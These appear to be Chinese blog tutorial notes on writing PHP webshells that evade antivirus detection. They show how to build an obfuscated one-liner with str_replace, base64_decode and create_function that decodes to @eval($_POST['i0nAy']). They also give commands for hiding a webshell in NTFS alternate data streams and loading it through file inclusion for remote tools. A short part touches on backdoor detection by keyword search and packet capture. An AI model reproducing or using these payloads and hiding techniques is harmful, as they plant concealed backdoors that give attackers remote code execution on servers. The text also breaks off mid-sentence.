13.免查杀脚本木马编写

免查杀木马编写的方法:
把木马创建成函数,运行时调用函数、在线加密、组合法、变量覆盖

1.把木马创建成函数,运行时调用函数。



str_replace:参数:("需要匹配的字符","替换字符","需要匹配的对象")

$zk=str_replace("d","","sdtdrd_redpdldadcde")=str_replace    // $zk=str_replace
$ef=str_replace("z", "", "zbazsze64_zdzeczodze")=base64_decode   // $ef=base64_decode
$dva=str_replace("p","","pcprpepaptpe_fpupnpcptpipopn")=create_function  //$dva=create_function

$ojj.$mt.$hsa.$fnx=QGV2YWwoJF9QT1NUWydpMGle5BeSleleddKTs=
str_replace(("le", "", "QGV2YWwoJF9QT1NUWydpMGle5BeSleleddKTs=")=QGV2YWwoJF9QT1NUWydpMG5BeSddKTs=

base64_decode("QGV2YWwoJF9QT1NUWydpMG5BeSddKTs=")=@eval($_POST['i0nAy']);
create_function('',@eval($_POST['i0nAy']);)
$zvm(); 


image.png

2.变量覆盖



3.组合法
变量覆盖+在线加密

4.在线加密

2 后门分析

后门分析的方法:关键字定位(通过对代码进行分析)、网络通信(f12)、使用wsexplorer进行抓包。

1.webshell
webshell常常被称为匿名用户(入侵者)通过网站端口对网站服务器的某种程度上操作的权限。也可以成为网站后门。

抓取软件数据包的软件是wsexplorer.

webshell免杀的方法:
1.文件包含(可以将木马后缀改为jpg,写一个php代码包含这个jpg文件。)
2.通过ntfs交换数据流文件实现文件隐藏。(可以使用软件okfiugenn进行删除数据流文件。)
例子1. echo xxx >>test.txt :webshell.php (创建数据流文件,内容是保存到webshell.php中且隐藏。)
dir /r 查看数据流文件

例子2. notepad muma.php //使用记事本创建一句话木马
type muma.php >>test.txt:muma.php //创建新的交换流文件

数据流文件的访问方法:(不能直接被访问)
1.可以通过包含文件执行数据流文件,在使用菜刀(冰蝎,蚁剑)进行连接。


image.png

或者使用手工进行执行。


image.png

2.直接在注册表

你可能感兴趣的:(13.免查杀脚本木马编写)